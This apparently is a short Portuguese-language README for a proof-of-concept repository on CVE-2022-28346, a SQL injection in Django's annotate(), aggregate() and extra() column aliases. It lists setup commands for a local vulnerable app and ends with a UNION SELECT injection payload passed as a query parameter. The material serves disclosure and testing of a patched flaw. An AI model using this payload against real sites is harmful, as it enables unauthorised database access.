vincentinttsh/cve-2022-28346
Foi descoberto um problema no Django 2.2 anterior à versão 2.2.28, 3.2 anterior à 3.2.13 e 4.0 anterior à 4.0.4. Os métodos QuerySet.annotate(), aggregate() e extra() estão sujeitos a injeção de SQL em aliases de colunas por meio de um dicionário especialmente criado (com expansão de dicionário) passado como **kwargs.
poetry install
python manage.py makemigrations
python manage.py migrate
python manage.py loaddata data.json
python manage.py runserver
?field=poc.title" FROM "poc_blog" union SELECT "-1,",sqlite_version(),"3" --
